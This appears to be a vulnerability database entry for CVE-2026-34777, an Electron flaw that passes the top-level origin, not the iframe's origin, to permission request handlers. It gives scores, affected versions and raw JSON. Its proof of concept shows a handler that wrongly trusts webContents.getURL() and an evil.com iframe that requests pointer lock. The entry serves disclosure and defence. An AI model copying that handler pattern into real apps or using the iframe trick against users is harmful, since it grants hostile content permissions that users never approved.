Security Vulnerability Report
中文
CVE-2026-34777 CVSS 5.4 MEDIUM

CVE-2026-34777

Published: 2026-04-04 00:16:19
Last Modified: 2026-04-20 14:19:18

Description

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.1, 40.8.1, and 41.0.0, when an iframe requests fullscreen, pointerLock, keyboardLock, openExternal, or media permissions, the origin passed to session.setPermissionRequestHandler() was the top-level page's origin rather than the requesting iframe's origin. Apps that grant permissions based on the origin parameter or webContents.getURL() may inadvertently grant permissions to embedded third-party content. The correct requesting URL remains available via details.requestingUrl. Apps that already check details.requestingUrl are not affected. This issue has been patched in versions 38.8.6, 39.8.1, 40.8.1, and 41.0.0.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:41.0.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:electronjs:electron:41.0.0:alpha2:*:*:*:node.js:*:* - VULNERABLE
Electron < 38.8.6
Electron < 39.8.1
Electron < 40.8.1
Electron < 41.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Main Process (Vulnerable Handler Implementation) const { session } = require('electron'); session.defaultSession.setPermissionRequestHandler((webContents, permission, callback, details) => { // Vulnerability: Check relies on webContents.getURL() which returns top-level origin const requestingOrigin = webContents.getURL(); // If the top-level page is trusted, permission is granted blindly if (requestingOrigin.startsWith('https://trusted-app.com')) { console.log(`Granting ${permission} to origin: ${requestingOrigin}`); return callback(true); } callback(false); }); // --- Exploit Scenario --- // 1. The victim loads a trusted page in the Electron app: https://trusted-app.com/dashboard // 2. The trusted page contains a malicious iframe (e.g., injected via XSS or ad network) // <iframe src="https://evil.com/exploit.html"></iframe> // 3. Inside https://evil.com/exploit.js (running in the iframe) function triggerExploit() { // The iframe requests a sensitive permission (e.g., PointerLock) document.body.requestPointerLock(); // Due to the bug, the handler sees 'https://trusted-app.com' as the origin // and grants the permission to the evil.com iframe. } triggerExploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34777", "sourceIdentifier": "[email protected]", "published": "2026-04-04T00:16:18.907", "lastModified": "2026-04-20T14:19:18.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to versions 38.8.6, 39.8.1, 40.8.1, and 41.0.0, when an iframe requests fullscreen, pointerLock, keyboardLock, openExternal, or media permissions, the origin passed to session.setPermissionRequestHandler() was the top-level page's origin rather than the requesting iframe's origin. Apps that grant permissions based on the origin parameter or webContents.getURL() may inadvertently grant permissions to embedded third-party content. The correct requesting URL remains available via details.requestingUrl. Apps that already check details.requestingUrl are not affected. This issue has been patched in versions 38.8.6, 39.8.1, 40.8.1, and 41.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-346"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "38.8.6", "matchCriteriaId": "9CE003A2-03CC-4355-AA17-2CBD204EC6C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "39.0.0", "versionEndExcluding": "39.8.1", "matchCriteriaId": "8F28D187-306E-4C9D-ADED-56DD79B04AF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "40.0.0", "versionEndExcluding": "40.8.1", "matchCriteriaId": "A8E19E38-B08F-4075-A564-E14DC3F54078"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "A20225D6-F435-4D09-962D-B162F521B6AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha2:*:*:*:node.js:*:*", "matchCriteriaId": "33712802-EB60-4E9A-83B8-9F2320B70CB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "9D0A9142-54FE-47BB-9FEB-5E97528E28FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "9E1D191F-DEAE-4DB3-9822-F31AF9FE3BAC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha5:*:*:*:node.js:*:*", "matchCriteriaId": "45A8192F-3D2C-4987-9BBE-7ECC3F71965D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:alpha6:*:*:*:node.js:*:*", "matchCriteriaId": "EEA1A2E5-03DB-46CB-8427-7F31A8A7CE1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta1:*:*:*:node.js:*:*", "matchCriteriaId": "B2DFCE75-BD3F-4537-B5B8-14097E262EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta2:*:*:*:node.js:*:*", "matchCriteriaId": "BC346E25-EA43-4615-8CDB-16D15D46E4FF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta3:*:*:*:node.js:*:*", "matchCriteriaId": "FA5B3C00-CAFC-4995-BF35-9920F3039E77"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta4:*:*:*:node.js:*:*", "matchCriteriaId": "3672F3FB-6B5E-40FD-8A92-CB4DD6BC6A93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta5:*:*:*:node.js:*:*", "matchCriteriaId": "9EE4F8AE-21D2-4815-85B7-B7ECCC0D5059"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta6:*:*:*:node.js:*:*", "matchCriteriaId": "D195760C-7DD9-4259-9042-EDE65AEAC1D6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta7:*:*:*:node.js:*:*", "matchCriteriaId": "B370859F-24D3-4B25-B580-1A5B6DB94BFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:electronjs:electron:41.0.0:beta8:*:*:*:node.js:*:*", "matchCriteriaId": "7F47CFAE-9744-4B54-B7E4-BB8E4346FDBA"}]}]}], "references": [{"url": "https://github.com/electron/electron/security/advisories/GHSA-r5p7-gp4j-qhrx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}